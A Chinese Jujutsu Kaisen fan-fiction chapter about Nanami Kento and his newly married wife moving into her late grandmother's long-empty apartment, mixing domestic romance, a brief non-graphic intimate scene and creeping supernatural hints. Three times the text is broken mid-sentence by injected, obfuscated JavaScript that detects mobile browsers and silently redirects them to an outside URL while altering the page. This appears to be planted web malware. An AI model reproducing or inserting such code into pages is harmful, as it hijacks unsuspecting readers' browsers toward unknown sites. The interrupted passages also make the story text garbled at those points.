《恐怖世界今天也要快乐生活【咒回】》 1. 新婚 阳光公寓606室 货车驶入“阳光公寓”前院时,下午两点一刻的阳光正好斜射在六楼的窗户上,玻璃泛着十三年未有人擦拭的浑浊光晕。 七海建人看了眼腕表——精工Prospex,误差控制在正负十秒内。 比计划晚了十八分钟,主要因为悠坚持要带上那箱“创作必需的参考资料”,而箱子的实际体积比预估大了百分之四十五。 “师傅,书籍和易碎品请放在这边。” 指令清晰简洁。 纸箱被依次搬下,标签分为两类: 七海建人的七个箱子,标签是工整的印刷体,“西装/衬衫”“金融类书籍”“日用杂物”分类严谨; 属于浅川悠——现在应该叫七海悠的十一个箱子,标签上是圆润的手写字,“画具/请勿倒置”“恐怖片蓝光收藏”“厨房回忆(外婆的)”。 电梯门即将合拢时,一楼管理员室的对话碎片飘了进来。 “……六楼那间?终于有人住了?” “空了有十多年了……老太太去世后就一直锁着。” “听说是外孙女,刚结婚就搬进来了,姓都改了……” “这么快?该不会是——” 电梯上升的咯吱声截断了后半句。七海面无表情地注视着跳动的楼层数字。 十三年空置,咒力残留应当自然消散大半,但长期无人居住的空间本身就可能成为咒灵的温床。 不过这只是过去的习惯在评估风险,现在他只是个普通证券分析师,带着新婚妻子搬进她继承的老公寓。 仅此而已。 606室的门敞开着,玄关堆着未拆的纸箱,扬起的灰尘在午后的光线里缓慢飞舞。 七海悠正跪在客厅中央,用湿布擦拭一块深褐色的污渍。 她穿着七海的旧衬衫——对她来说过于宽大,下摆垂到大腿中部,袖子卷了好几道才露出手腕——和灰色的运动短裤。 阳光从朝南的窗户斜射进来,在她黑得发蓝的长发上镀了一层金边,几缕发丝粘在汗湿的颈侧。 “七海海!” 听见脚步声,她立刻抬起头,眼睛在光线下亮晶晶的:“你看这个污渍,形状像不像一只蜷缩的猫?我觉得可以留着当特色装饰。” “污渍就是污渍,需要彻底清除。”七海放下手中的箱子,推了推眼镜,“而且上周我们不是才约定过,不要在公共场合使用那个称呼。” “这里不是公共场合呀。”悠站起身,小跑过来,很自然地拉住他的袖子。 “是在我们家嘛。老公大人今天辛苦了,搬家公司的人有没有为难你?我泡了麦茶,在厨房的保温壶里。” 她仰着脸,黑色眼眸清澈见底,表情纯良得像在询问今天的天气。 七海别过脸,耳根微微发热。 “……按照搬家计划表,现在是整理卧室的时间。”他从口袋掏出打印的A4纸,上面是精确到十五分钟间隔的安排,“你的画具箱应该放在书房,但需要先确认书架承重结构是否稳固。” “好严格……”悠拖长声音,但嘴角是上扬的,“不过认真的七海海也很帅。那我先去检查书架——啊,麦茶记得喝哦!” 她转身时衬衫下摆扬起一角,七海迅速移开视线,开始拆标有自己名字的箱子。 他们结婚才四周,从相亲到提交婚姻届只用了两个月——介绍人说“双方年龄合适,职业稳定”,但真正让七海在婚姻届上签字的,是第三次见面时悠说的那句话: “七海先生给人的感觉……像是已经独自承担了太多,却还在说自己不需要帮忙。” 很狡猾的说法。但他说了“好”。 房间大约七十平米,两室一厅的布局散发着昭和末期的气息。 客厅十叠大,朝南的窗户对着社区的儿童公园。 家具都是原房主——悠的外婆——留下的:实木餐桌边缘有细微的烫痕,玻璃门书柜的滑轨卡顿,布艺沙发的颜色褪成了暧昧的米黄。 空气中有一股空置多年的老房子特有的气味:灰尘、微弱的霉味、木质腐朽的气息,以及某种难以名状的陈旧感。 “外婆最后一次住在这里是2003年春天。”悠一边把书摆上书架一边说,声音很轻,“后来她就回乡下老家了。这间公寓空了……十三年零四个月。” “房产税和物业管理费一直在正常支付?”七海正在组装新买的衣柜,每个螺丝都拧到恰到好处的扭矩。 “嗯,姨妈帮忙处理的。她说外婆遗嘱里写得很清楚,这间公寓留给我,存款留给他们。”悠顿了顿,手指轻轻拂过书架上一道细微的划痕,“其实我觉得这样分配不太公平,但外婆说‘小悠以后会需要自己的城堡’。” 七海抬起头。他的新婚妻子背对着他,阳光勾勒出纤细的肩颈线条。 三个月前相亲时,介绍人的说法是“浅川小姐父母早逝,由外婆带大,性格温顺,职业稳定”。 现在看,“温顺”这个词可能需要重新定义。 “悠。”他叫了她的名字。 “嗯?” “十三年空置的房子,水电管线可能需要全面检修。周一我联系专业公司来评估。” “好呀。”悠转过身,笑容在阳光下格外明亮,“都听七海海的。” 她总是这样:用最柔软的语气说最直接的话,让他准备好的所有理性建议都显得多余。 七海低头继续拧螺丝,决定暂时不追究“老公大人”和“七海海”这个称呼。 下午四点十分,门铃响了。 悠去开门。 门外站着三位女性:一位五十岁上下,微胖,穿着向日葵图案的围裙;一位六十岁左右,身形瘦削,眼神锐利;还有一位四十多岁,手里拿着一个记账本。 “哎呀,是新搬来的吧?”围裙女性笑容满面,“我是五楼的坂本,这是我们公寓自治会的会长山田太太,这位是管理员小林小姐。” “您好,我是七海悠。”悠微微鞠躬,动作标准得像是练习过多次,“请进来说话?” “不打扰不打扰。”坂本太太递过一个小纸盒,“这是我自己做的曲奇,搬家辛苦了。你是……浅川老太太的外孙女吧?都长这么大了,上次见你还是个小学生呢。” 山田太太的目光在悠脸上停留片刻,又扫向室内:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154049|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十多年没住人了,房子状态还好吗?有没有发现什么……问题?” “正在整理中。”悠侧身让开视线,“我先生在里面——七海海,邻居太太们来了。” 几秒后,七海从卧室走出。他已经脱了西装外套,白衬衫袖子卷到手肘,露出线条分明的小臂。 金发在室内光线下显得比平时更严谨。 “我是七海建人。”他微微鞠躬,“请多关照。” 他的出现让气氛发生了微妙变化。 山田太太的目光从他严谨的着装扫到一丝不苟的站姿。 “七海先生从事什么工作?” “证券分析师。” “体面的职业。”山田太太点点头,从管理员手中接过记账本,“那么说正事:公寓今年计划进行外墙防水工程,每户需要分摊的费用是……” 接下来的十五分钟是枯燥的财务说明。 七海认真听着,偶尔提出精确的问题;悠站在他身侧,手指无意识地卷着自己的一缕头发,眼神偶尔飘向窗外公园里玩耍的孩子。 “——所以,请在下月底前缴纳。”山田太太合上记账本,目光再次扫过房间,“说起来,你们是刚结婚就搬进来了?” “是的。”七海回答,“三周前提交的婚姻届。” “真快啊。”坂本太太笑呵呵地说,“不过也好,这房子空了这么多年,总算有人气了。浅川老太太要是知道外孙女带着新婚丈夫住进来,一定很高兴。” “谢谢您。”悠露出一个温和的笑容。 三人离开后,悠关上门,长长舒了口气,整个人靠在门板上。 “社交好累……”她嘟囔着,“不过坂本太太的曲奇看起来很好吃。七海海,晚上配红茶吃好吗?” “可以。”七海重新拿起螺丝刀,“山田太太是自治会会长,和她保持良好关系是必要的。另外,关于工程分摊费——” “老公大人决定就好。”悠打断他,小跑过来蹲在他身边,“我相信你的判断。不过刚才她说‘真快啊’的时候,语气是不是有点奇怪?” 七海手上的动作停了一瞬。作为前咒术师,他对人类话语中的微妙情绪有着超常的敏感度。 “邻里之间对新住户有好奇是正常的。”他选择了一个安全的回答,“尤其是闪婚加上十多年空置的房子,确实容易成为话题。” “也是。”悠托着腮看他工作,黑色眼眸里映着他专注的侧脸,“不过我们确实是闪婚呢。从第一次见面到搬进这里,一共才……九十七天?” “九十六天。”七海纠正,“如果你把提交婚姻届那天算作终点的话。” “七海海连这个都记得?”悠的眼睛亮起来,凑得更近了些,“好开心。” 她靠得太近,七海能闻到她头发上淡淡的柑橘香波味——是他选的牌子,理由是“成分表简洁,性价比高”。 还有她身上混合着汗水和阳光的气息,属于夏日的、鲜活的气息。 “……只是习惯记录重要日期。”七海别过脸,继续拧螺丝,“和情感无关。” “真的吗?”悠的声音带着笑意,“可你的耳朵红了哦,七海海。” 2. 入住 傍晚六点四十,衣柜组装完毕,书籍基本整理完成。 七海冲了个澡,换上灰色的家居服。 走出浴室时,悠正坐在客厅地板上,对着素描本发呆,炭笔在指间转来转去。 她已经换上了自己的睡衣——浅蓝色的短袖套装,上面印着小朵的白色雏菊。 “遇到困难了?”他问,在她身边坐下。 “七海海。”悠没有抬头,炭笔在纸上画出流畅的曲线,“你说,一间房子空了十三年,会变成什么样子?” “具体指什么?” “灰尘会堆积,墙皮会剥落,水管可能会锈蚀。这些是物理变化。”她的声音很轻,“但其他的呢?夜晚的声音,清晨的光线,空气流动的方式……房子会不会忘记怎么当一栋有人住的房子?” 她的问题带着艺术家的感性,但七海捕捉到了其中的某种认真。 不是随口一问。 “建筑物没有记忆功能。”他给出科学回答,“但长期空置会导致结构问题。所以我们需要全面检修,这是为了安全和长期居住考虑。” “嗯。”悠终于转过头,夕阳的余晖让她的侧脸轮廓格外柔和,“那……人呢?如果一个人在房子里住了十三年,然后离开了,她留下的痕迹会存在多久?” 这个问题让七海停顿了片刻。他想起高专时期的那间宿舍,灰原死后他独自住了两年,直到毕业。 灰原的东西慢慢被收走,气味逐渐消散,最后连灰尘都覆盖了所有痕迹。 “物理痕迹会随着时间消退。”他谨慎地选择措辞,“但情感上的联系是另一回事。你是在想念外婆吗?” 悠眨了眨眼,然后露出一个有些模糊的笑容:“可能吧。不过现在这里有七海海了,所以没关系。” 她合上素描本,站起身时动作轻盈:“对了,晚饭想吃什么?今天我想下厨,给认真工作的老公大人做爱心晚餐。” “按照分工,今天我负责晚饭。”七海也站起身,“你去摆碗筷就好。” “那我要用外婆留下的那套餐具!蓝底白花的,在写着‘厨房’的那个箱子里。” 厨房很小,但设备齐全。七海系上围裙——深蓝色格子,是悠在超市买的,她说“这个颜色很配七海海的金发”。 他开始处理食材:鸡胸肉切丁,洋葱切碎,胡萝卜和土豆切块,每一刀都精准高效。 悠靠在厨房门框上看他,眼神有些放空。 “七海海以前经常自己做饭吗?” “学生时期在寄宿制学校,食堂解决。”七海头也不回地说,“毕业后从事过一段时间特殊行业,饮食不规律。这三年来才系统学习烹饪。” “特殊行业?”悠的声音里带着好奇,“之前没听你说过呢。” “宗教相关的工作。”七海将食材下锅,油爆出香气,“类似民俗调查和异常事件咨询。需要经常出差,工作内容……不太适合家庭生活。” 这是他和灰原曾经商量过的说辞——如果有朝一日需要向普通人解释的话。 现在灰原已经不在了,但这个说辞依然适用。 “听起来好神秘。”悠走到流理台旁,开始摆碗筷,“是像驱魔师或者灵媒那样的工作吗?” “更接近研究和分析。”七海撒入调味料,动作标准得像在实验室,“处理的大多是心理暗示、集体幻觉或者民间传说变形后的案例。人类对未知的恐惧会催生各种想象,我们的工作是分析这些现象的成因。” “这样啊……”悠摆好筷子,动作很轻,“那七海海见过真正的……超自然现象吗?” 锅铲在锅中停顿了不到半秒。七海想起灰原死的那天,那个一级咒灵扭曲的姿态,灰原残缺的身体,还有自己咒力耗尽时眼前闪过的白光。 “在我的工作定义里,所有现象都有其成因。”他关火,将炖菜装盘,“所谓‘超自然’,大多是对现有科学认知的补充,而非颠覆。” 悠看着他端着盘子走向餐桌的背影,黑色眼眸在厨房的阴影里深不见底。 “也是呢。”她轻声说。 晚饭是鸡肉炖蔬菜和味噌汤,味道均衡而扎实。两人面对面坐在餐桌旁,窗外天色渐暗,社区的路灯次第亮起。 “下周开始我要跟进新项目。”七海一边用餐一边说,“可能会比平时晚下班一两个小时。晚饭不用等我,你先吃。” “那我可以给七海海准备便当吗?”悠眼睛亮起来,“爱心便当!我可以早起做。” “太麻烦了。公司在丸之内,附近有很多合适的餐厅。” “可是我想做嘛。”悠用筷子戳着碗里的胡萝卜,嘴唇微微撅起,“新婚妻子给丈夫准备便当,不是很正常吗?而且七海海总吃外食,营养会不均衡的。” 七海看着她——微微撅起的嘴唇,期待的眼神,整套表情无懈可击。他知道这是她的惯用伎俩,但…… “……如果能在七点前完成,不影响你的工作时间的话。”他妥协了。 “太好了!”悠立刻笑起来,在餐桌下轻轻踢了踢他的脚,“那我要去买便当盒,还有分隔的小杯子,还有——” “下周再说。”七海打断她,但嘴角有一丝几乎看不见的上扬,“明天是周六,计划是继续整理,联系检修公司,以及采购必需品。我已经列了清单。” 他从口袋里掏出另一张A4纸。悠凑过来看,两人的肩膀轻轻碰在一起,她的头发扫过他的手臂。 “哇……连垃圾袋的品牌和尺寸都写了吗?七海海好厉害。” “这是效率问题。”七海感觉耳根又在发热,“另外,关于宠物——” “诶?可以养吗?”悠立刻抬头,眼睛里闪着光,“小仓鼠?兔子?还是猫?其实我更喜欢狗,但公寓可能不太方便……” “——的话题暂时搁置。”七海推了推眼镜,“目前居住空间尚未完全整理,不适合引入新变量。等一切稳定后,可以重新讨论。” “那就是有可能的意思?”悠抓住他的袖子晃了晃,“七海海最好了!” “我是说‘讨论’,不是‘同意’。” “一样的嘛。” 完全不一样。 但七海决定不再纠正。 和悠相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154050|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处三个月,他学到的第一课就是:在某些领域,她的逻辑自成体系,无法用常规方式沟通。 饭后,七海洗碗,悠擦桌子。 两人在狭小的厨房里肩并肩工作,手臂偶尔相碰。 “对了。”悠忽然说,“明天整理的时候,如果发现奇怪的东西……要怎么办?” “奇怪的东西指什么?” “就是……老房子嘛。”悠的声音很轻,“外婆留下了很多杂物,有些可能已经损坏了,有些可能……” 她没有说完。七海停下手中的动作,转头看她。 “任何不需要的物品,都可以分类处理:捐赠、丢弃或回收。如果有不确定价值的物品,可以先保留,稍后评估。” “嗯。”悠点点头,继续擦桌子,但动作慢了下来,“七海海。” “嗯?” “你说,如果一件东西在空房子里放了十三年……它还会记得自己是什么吗?” 这个问题太具体,太有指向性。 七海擦干手,认真地看着她。 “物品没有记忆功能。”他重复道,“但人有。如果你担心处理掉有纪念意义的物品,我们可以先全部保留,慢慢整理。” 悠与他对视,黑色眼眸在厨房灯光下像深潭。 “不是担心纪念意义。”她轻声说,“是担心……别的。” “别的?” 但她只是摇摇头,露出一个有些疲惫的笑容:“没什么。可能今天太累了,有点胡思乱想。我去洗澡了,七海海收拾完早点休息。” 她离开时,轻轻抱了他一下——很短暂的拥抱,头在他胸口靠了不到两秒,然后就松开了。 “今天辛苦了。”她说,然后快步走向浴室。 七海站在原地,还能感觉到胸口残留的温度和触感。他低头看了看自己的手,然后继续洗碗。 晚上八点半,七海提着分类好的垃圾袋走出房门。 走廊的感应灯应声亮起,发出轻微的嗡鸣。 老式公寓的隔音不太好,他能听见隔壁传来的电视声、楼下孩子的哭声,以及远处电车的行驶声。 这就是普通人的生活。嘈杂、琐碎、真实。 在楼梯间的垃圾集中处放下袋子时,他眼角的余光捕捉到了什么。 在下一层楼梯的转角阴影里,蹲着一个模糊的轮廓。 形状不规则,表面有细微的蠕动,像是一团凝结的阴影。 咒灵,等级很低,大约是四级,由这栋公寓长年累积的微弱的负面情绪生成。 七海的动作没有丝毫停顿。他放好垃圾,转身,按下电梯按钮。 作为前咒术师,他清楚这种低阶咒灵几乎无害——只要不主动刺激,它甚至不会意识到人类的存在。 作为现在的普通上班族,他没有理由、也没有立场去处理它。 “工作已经结束了。”他低声对自己说,像是某种咒语,“现在是我的私人时间。” 电梯门打开时,他最后瞥了一眼那个角落。 阴影还在那里,缓慢地蠕动着,像是沉睡中的什么东西。 3. 第一夜 回到606室,悠刚洗完澡,穿着浅蓝色的睡衣靠在沙发上擦头发。 电视开着,播放着无关紧要的夜间综艺。她换上了另一套睡衣——淡粉色的短袖套装,领口开得稍微低一些,露出锁骨和一小片胸口皮肤。 “我洗好了。”她说,声音带着浴室特有的温软,“七海海要洗澡吗?热水很充足哦。” “稍等。”七海走向书房,“我先检查一下明天的清单。” “好——” 他走进书房,关上门。书架上已经摆了一部分书,大多是悠的恐怖漫画资料和画集。 靠窗的位置留给了他的金融类书籍,还没有整理。 七海站在窗前,看着楼下社区的夜景。路灯照亮了儿童公园的秋千、滑梯和沙坑。 现在是晚上八点四十分,公园里没有人。 但他看见秋千在动。 缓慢地、有节奏地前后晃动,像是正有人坐在上面。 没有人。 七海推了推眼镜,再次确认。秋千确实在动,但周围空无一人。 可能是风,可能是机械故障,也可能是—— “七海海。”书房门被推开一条缝,悠探进头来,头发还湿着,“我泡了红茶,要喝吗?” 秋千停止了晃动。 “……好。”七海转身,“谢谢。” 晚上十点二十,两人躺在新买的双人床上。 床垫按照七海的要求选择了偏硬的类型,床单是悠选的淡蓝色格纹。房间里只开着一盏床头小灯,光线昏暗而温暖。 悠已经吹干了头发,黑发散在枕头上,泛着微弱的光泽。她侧躺着,面对七海的方向,眼睛在昏暗的光线下亮晶晶的。 “七海海。”她轻声说。 “嗯?” “今天我们算正式同居第一天呢。” “从法律角度,提交婚姻届那天起就已经是同居状态。” “不要这么严谨嘛。”悠笑起来,在被子下轻轻踢了踢他的腿,“我是说,住在同一个屋檐下的第一天。睡在同一张床上的第一晚。” 七海沉默了。他能感觉到自己的心跳在加速,这很不专业,很不像他。 “嗯。”他最后说。 悠往他这边挪了挪,两人的手臂轻轻碰在一起。 她身上散发着沐浴后的清新香气,混合着某种甜甜的、像是草莓的身体乳味道。 “七海海。”她又叫了一声,声音更轻了。 “嗯。” “我可以……靠你近一点吗?” 这个问题让七海呼吸一滞。他转头看她,悠正仰着脸,黑色眼眸在昏暗光线里像深潭,里面有期待,有紧张,还有某种他读不懂的东西。 “……可以。”他说,声音比平时低了一些。 悠立刻贴了过来,头靠在他肩上,一只手轻轻搭在他胸口。她的头发扫过他的颈侧,温热的呼吸拂过他的皮肤。 “七海海的心跳好快。”她小声说,声音里带着笑意。 “这是正常的生理反应。” “是因为紧张吗?” “……有一部分是。” 悠轻轻笑起来,搭在他胸口的手指动了动,像是在测量他的心跳节奏。七海能感觉到她身体的温度,柔软的身体曲线贴着他的侧身,还有她身上那股甜甜的香气。 “我也很紧张。”她轻声说,“虽然我们结婚了,但其实……还不太熟,对吧?” “我们相识九十六天,约会七次,通话二十三次。”七海说,努力让自己的声音保持平稳,“从数据上看,确实属于‘闪婚’范畴。” “数据……”悠又笑起来,身体微微颤抖,“七海海总是这样。但有时候,数据不能说明一切,对不对?” 她的手向上移动,轻轻抚过他的脸颊,停在耳后。 她的手指微凉,触感轻柔。 “悠。”七海叫了她的名字,声音有些沙哑。 “嗯?” “你确定……” “我确定。”她打断他,抬起头,在昏暗光线里与他对视,“我确定我想靠近你,想了解你,想成为你的妻子——不只是法律意义上的。” 她的眼神很认真,黑色眼眸在昏暗光线下深不见底,但又闪烁着某种坚定的光。 七海看着她,想起灰原曾经说过的话:“七海,你太擅长保持距离了。有时候,你得允许别人靠近你,哪怕那会让你觉得不安全。” 灰原已经不在了。 但也许,他可以对这句话做出一点尝试。 并且迈入人生的下一阶段。 他抬起手,轻轻覆上悠抚在他脸上的手。 她的手指微凉,他的手温暖。 然后,他微微侧身,低头吻了她。 很轻的吻,试探性的,只持续了几秒。 悠的眼睛微微睁大,然后闭上,回应他。 分开时,两人都呼吸微乱。悠的脸在昏暗光线里泛着红晕,眼睛亮得惊人。 “……抱歉。”七海说,声音低哑,“我可能……” “不要道歉。”悠轻声说,手指轻轻摩挲他的脸颊,“我很喜欢。” 她又凑过来,这次吻得更深一些,更久一些。 七海的手移到她脑后,手指穿进她浓密的黑发里。她的嘴唇很软,带着草莓身体乳的甜味,还有红茶的淡淡香气。 吻了很久,分开时两人都有些喘。悠的眼睛里蒙着一层水汽,嘴唇微微红肿。 “七海海……”她轻声说,声音有些颤抖。 “嗯。” “我可以……要更多吗?” 七海看着她,看着这个认识才九十六天就成为他妻子的女人。 她在他怀里,柔软,温热,真实。也许这不理性,不符合他制定的所有计划,但—— “可以。”他说,然后翻身将她轻轻压在身下,低头再次吻她。 这一次,吻得更深,更用力。悠的手臂环上他的脖子,身体与他紧紧相贴。 床单摩擦发出细微的声响,床头灯的光线在墙上投出晃动的影子。 过程中,悠一直小声叫着他的名字。“七海海……”“老公……”“建人……”声音断断续续,带着喘息和颤抖。 七海吻去她眼角的泪水,动作尽可能轻柔——虽然他在这方面经验有限,但他学习能力很强,而悠的身体会告诉他该怎么做。 结束后,悠蜷缩在他怀里,脸贴着他胸口,呼吸逐渐平稳。 七海的手臂环着她,手指无意识地抚摸着她的头发。 房间里很安静,只有两人逐渐平缓的呼吸声。 窗外传来远处电车驶过的声音,还有社区里某户人家隐约的电视声。 “七海海。”悠的声音闷闷的,从他胸口传来。 “嗯。” “你的手……有茧子。”她的手指轻轻划过他掌心的厚茧,“是以前工作留下的吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154051|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……嗯。” “辛苦你了。”她的声音很轻,“以后不会那么辛苦了。我们一起过平凡的生活,好不好?” 七海收紧手臂,将她抱得更紧一些。她的身体柔软而温暖,真实地存在于他怀里。 “好。”他说。 几分钟后,悠的呼吸变得均匀绵长,像是睡着了。七海以为她睡了,正想闭上眼睛,却听见她含糊的声音: “七海海。” “嗯?” “如果……我是说如果,这间房子里真的有什么奇怪的东西……你会保护我吗?” 这个问题在黑暗中显得格外清晰。七海低头看她,但只能看见她头顶的发旋。 “我会。”他说,“这是丈夫的义务。” 悠轻轻笑了一声,听起来像是叹息。 “那就好。”她说,“晚安,七海海。” “晚安。” 又过了十分钟,七海确定她已经睡熟,轻轻抽出手臂,起身走向客厅。他需要喝点水,也需要一点时间整理思绪。 客厅里,月光透过窗户洒在地板上。 七海倒了一杯水,站在窗前。 楼下的公园里,秋千又在晃动。 这次他看得更清楚:秋千上确实没有人,但它前后摆动的幅度很均匀,像是有只看不见的手在推动。 七海喝了口水,面无表情地看着。 然后,秋千忽然停了。 不是慢慢停下,是突然静止,像是被按了暂停键。 七海放下水杯。作为前咒术师,他知道这种现象可能有多种解释:地缚灵、残留咒力、自然形成的咒灵,或者只是巧合。 作为七海悠的丈夫,他知道自己明天需要去一趟那个公园,做一次非正式的检查。 他转身准备回卧室,目光扫过客厅的地板。 月光照亮了悠白天擦拭的那块“猫形污渍”。现在它看起来确实像一只蹲着的猫,轮廓清晰得有些不自然。 七海蹲下身,用手指摸了摸。 触感和其他地板没有区别。 他站起身,最后看了一眼那个污渍,然后走回卧室。 悠睡得很熟,黑色长发散在枕头上,在月光下泛着微弱的光泽。她的睡衣领口微敞,露出锁骨和一小片胸口皮肤,上面有他留下的浅浅吻痕。 七海在她身边躺下,轻轻将她揽进怀里。悠在睡梦中呢喃了一声,往他怀里缩了缩。 在完全沉入睡眠前,他最后想到的是明天的日程:九点开始整理书房,十点联系检修公司,十一点去超市采购…… 还有,下午三点左右,他需要去一趟社区公园。 普通人的生活。 这就是他选择的、想要守护的生活。 而在他的怀里,七海悠——原姓浅川——在睡梦中微微皱眉,像是梦见了什么。她的嘴唇无声地动了动,像是在说什么,但没有发出声音。 窗外的公园里,秋千又开始轻轻晃动。 一下。 又一下。 像是有什么东西,正在享受这十三年来的第一个有住客的夏夜。 而这一次,当秋千晃动到最高点时,月光清晰地照出了秋千座板上的痕迹—— 一个手掌印。 很小,像是孩子的手。 但周围没有脚印,没有其他痕迹。 只有那个手掌印,在月光下泛着微弱的水渍般的光。 --- 4. 周六 周六清晨六点四十七分,七海建人在生物钟的作用下准时醒来。 晨光透过米色窗帘的缝隙,在卧室地板上切出细长的光带。 空气里漂浮着细微的尘埃,在光线中缓慢旋转。 七海睁开眼睛的第一件事是确认时间——床头的电子钟显示6:47,比平时晚醒十七分钟,因为昨天搬家消耗了额外体力。 第二件事是确认身边的人。 七海悠侧躺在他身边,脸埋在他肩窝里,一只手搭在他胸口,睡得正熟。 她的黑发散在枕头和他的手臂上,有些发丝粘在微红的脸颊上。 晨光勾勒出她闭着的眼睛和微张的嘴唇,呼吸均匀绵长。 七海没有立刻起身。 他保持着这个姿势,静静听着她的呼吸声,感受着她身体的温度和重量。 这对他来说是一种全新的体验——醒来时身边有人,而且这个人正以一种完全信任的姿态依偎着他。 高专时期的宿舍是单人间,成为咒术师后住的也是单人公寓。 这三年的上班族生活里,他的早晨总是精确而孤独:六点半起床,七点洗漱完毕,七点十五分吃早餐,七点四十分出门。 但现在,这个时间表需要调整了。 七点零五分,悠在睡梦中动了动,搭在他胸口的手无意识地抓了抓他的睡衣布料,嘴里含糊地嘟囔了一句什么。 “悠。”七海轻声叫她,“该起床了。” “……嗯?”悠迷迷糊糊地应了一声,眼睛睁开一条缝,然后又闭上了,“七海海……早上好……” “早上好。”七海说,“现在是七点零六分。按照今天的计划,我们应该在七点半开始整理书房。” “再五分钟……”悠往他怀里缩了缩,脸埋得更深,“就五分钟……” 七海看着她的发顶,停顿了三秒。 “七点十一分我会再叫你一次。” “七海海最好了……” 悠的声音越来越小,呼吸再次变得均匀。 七海躺在那里,看着她毫无防备的睡颜,忽然意识到一个问题:他需要起床,但悠的手臂环着他的腰,整个人像树袋熊一样挂在他身上。 他尝试轻轻挪动,悠立刻发出不满的哼声,抱得更紧了。 “悠。”七海又叫了一声。 “嗯……” “我需要起床。” “为什么……” “因为现在是早晨,需要开始一天的计划。” 悠终于睁开眼睛,黑色眼眸里还蒙着睡意。 她看着他,眨了眨眼,然后露出一个迷迷糊糊的笑容。 “七海海早上好认真……”她小声说,抬起头在他下巴上轻轻吻了一下,“早安吻。” 然后她松开手,翻了个身,拉起被子盖住头:“我再睡十分钟……就十分钟……” 七海坐起身,摸了摸下巴上刚才被吻过的地方。 那里还残留着柔软的触感和一点湿润。他低头看了看缩在被子里的一团,最终决定暂时不追究这十分钟。 七点二十五分,七海已经洗漱完毕,换上了灰色的居家服,正在厨房准备早餐。 冰箱里的食材不多,但足够做一顿简单的日式早餐:米饭是昨晚定时煮好的,味噌汤的材料有豆腐和海带,烤鱼是冷冻的鲭鱼,还有昨天坂本太太送的腌菜。 他动作简练高效:煎鱼的同时加热味噌汤,盛饭,摆盘。 每一个步骤都在他脑海中预先规划过,执行起来毫无滞涩。 待早餐准备完毕。 七海擦干手,走向卧室。 悠已经坐起来了,但还处于半梦半醒的状态,头发乱糟糟地披散着,睡衣的领口滑到一边,露出半个肩膀。 她揉着眼睛,打了个小小的哈欠。 “七海海……”声音里带着刚睡醒的沙哑,“几点了?” “七点三十三分。”七海说,“你超过了约定的时间十二分钟。” “对不起嘛……”悠晃晃悠悠地站起身,走到他面前,很自然地抱住他的腰,脸埋在他胸口蹭了蹭,“我做了个梦,梦到我们在一个很大的迷宫里,怎么也走不出来……” 七海的手悬在半空,犹豫了一秒,最终轻轻落在她背上。 “梦没有现实意义。”他说,“早餐准备好了,去洗漱。” “嗯。”悠抬起头,眼睛还是半闭着的,“七海海帮我梳头好不好?我的手没力气……” “你自己可以完成。” “可是我想让七海海帮我嘛。”她仰着脸,黑色眼眸在晨光里闪着光,“新婚妻子的小小请求都不行吗?” 七海看着她,看着她微微撅起的嘴唇和期待的眼神。他知道这是她的战术,但—— “……仅限今天。”他说。 “耶!”悠立刻笑起来,小跑着去拿梳子。 七海坐在床边,悠跪坐在他面前的地板上,背对着他。 她的头发很长,黑得发蓝,发质很好,握在手里像丝绸。 七海的动作一开始有些生疏——他从来没有给女性梳过头,更别说这么长的头发——但很快找到了节奏:从发尾开始慢慢梳开打结的部分,然后分段向上。 “七海海的手好温柔。”悠轻声说,声音里带着笑意,“比我外婆梳得还好。” “这只是基本的护理。”七海说,尽量让声音保持平稳,“长发应该从发尾开始梳理,避免拉扯导致断裂。” “嗯嗯。”悠晃了晃脑袋,“那七海海喜欢我留长发吗?” “这是你的个人选择,我没有偏好。” “说谎。”悠转过头,从下往上看着他,眼睛弯成月牙,“你刚才梳头的时候,手指在我头发里多停留了三秒钟。数据不会骗人哦,七海海。” 七海的手停顿了一瞬。 他的确多停留了三秒,因为她的头发在晨光下呈现出一种奇特的质感,像是深色的瀑布。 “……去洗漱。”他放下梳子,站起身,“早餐要凉了。” 悠笑着跑向浴室,睡衣下摆随着动作扬起。 七海站在原地,看着自己刚才握着梳子的手,然后转身走向厨房。 他需要把味噌汤再加热三十秒。 早餐是在客厅的矮桌上吃的。 阳光透过窗户洒进来,照亮了桌上简单的食物和两人相对的坐姿。 “今天的计划是:上午整理书房和剩余杂物,十点半联系房屋检修公司,十一点去超市采购一周的食材和必需品。”七海一边吃饭一边说,面前摊着那张计划表,“下午处理个人事务。有 